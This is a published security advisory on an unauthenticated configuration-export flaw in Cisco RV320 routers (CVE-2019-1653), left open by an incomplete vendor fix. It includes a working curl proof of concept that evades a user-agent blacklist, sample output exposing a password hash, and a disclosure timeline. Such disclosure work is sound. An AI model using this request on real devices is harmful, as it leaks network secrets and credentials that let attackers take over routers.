RT-SA-2019-003 Cisco RV320 Unauthenticated Configuration Export

Advisory: Cisco RV320 Unauthenticated Configuration Export

RedTeam Pentesting discovered that the configuration of a Cisco RV320
router can still be exported without authentication via the device's web
interface due to an inadequate fix by the vendor.


Details
=======

Product: Cisco RV320 Dual Gigabit WAN VPN Router, possibly others
Affected Versions: 1.4.2.15 through 1.4.2.20
Fixed Versions: none
Vulnerability Type: Information Disclosure
Security Risk: high
Vendor URL: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190123-rv-info
Vendor Status: working on patch
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2019-003
Advisory Status: published
CVE: CVE-2019-1653
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-1653


Introduction
============

"Keep your employees, your business, and yourself productive and
effective. The Cisco RV320 Dual Gigabit WAN VPN Router is an ideal
choice for any small office or small business looking for performance,
security, and reliability in its network."
(from the Cisco RV320 product page [1])


More Details
============

The Cisco RV320 Dual Gigabit WAN VPN Router provides a web-based
configuration interface, which is implemented in various CGI programs in
the device's firmware. Access to this web interface requires prior
authentication using a username and password. Previously, RedTeam
Pentesting identified a vulnerability (rt-sa-2018-002) [2] in the CGI
program:

/cgi-bin/config.exp

By issuing an HTTP GET request to this program, it was possible to
export a router's configuration without providing any prior
authentication. This vulnerability was adressed in firmware version
1.4.2.19 published by Cisco [3].

RedTeam Pentesting discovered that the CGI program in the patched
firmware is still vulnerable. By performing a specially crafted HTTP
POST request, attackers are still able to download the router's
configuration. The user agent "curl" is blacklisted by the firmware and
must be adjusted in the HTTP client. Again, exploitation does not
require any authentication.


Proof of Concept
================

A device's configuration can be retrieved by issuing an HTTP POST request
to the vulnerable CGI program (output shortened):

------------------------------------------------------------------------
$ curl -s -k -A kurl -X POST --data 'submitbkconfig=0' \
  'https://192.168.1.1/cgi-bin/config.exp'
####sysconfig####
[VERSION]
VERSION=73
MODEL=RV320
SSL=0
IPSEC=0
PPTP=0
PLATFORMCODE=RV0XX
[...]
[SYSTEM]
HOSTNAME=router
DOMAINNAME=example.com
DOMAINCHANGE=1
USERNAME=cisco
PASSWD=066bae9070a9a95b3e03019db131cd40
[...]
------------------------------------------------------------------------


Workaround
==========

Prevent untrusted clients from connecting to the device's web server.


Fix
===

None


Security Risk
=============

This vulnerability is rated as a high risk as it exposes the device's
configuration to untrusted, potentially malicious parties. By
downloading the configuration, attackers can obtain internal network
configuration, VPN or IPsec secrets, as well as password hashes for the
router's user accounts. Knowledge of a user's password hash is
sufficient to log into the router's web interface, cracking of the hash
is not required. Any information obtained through exploitation of this
vulnerability can be used to facilitate further compromise of the device
itself or attached networks.


Timeline
========

2018-09-19 Original vulnerability identified
2018-09-27 Customer approved disclosure to vendor
2018-09-28 Vendor notified
2018-10-05 Receipt of advisory acknowledged by vendor
2018-10-05 Notified vendor of disclosure date: 2019-01-09
2018-11-18 List of affected versions provided by vendor
2018-12-21 Postponing disclosure to 2019-01-23, as requested by vendor
2019-01-22 Firmware 1.4.2.20 released by vendor
2019-01-23 Advisory (rt-sa-2018-002) published

2019-02-07 Incomplete mitigation of vulnerability identified
2019-02-08 Proof of concept sent to vendor
2019-02-08 Receipt of proof of concept acknowledged by vendor
2019-02-15 Full advisory sent to vendor
2019-02-15 Notified vendor of disclosure date: 2019-03-27
2019-03-25 Requested progress update from vendor
2019-03-25 Vendor requests postponed disclosure
2019-03-25 Postponement declined
2019-03-27 Advisory published


References
==========

[1] https://www.cisco.com/c/en/us/products/routers/rv320-dual-gigabit-wan-vpn-router/index.html
[2] https://www.redteam-pentesting.de/advisories/rt-sa-2018-002
[3] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190123-rv-info


RedTeam Pentesting GmbH
=======================

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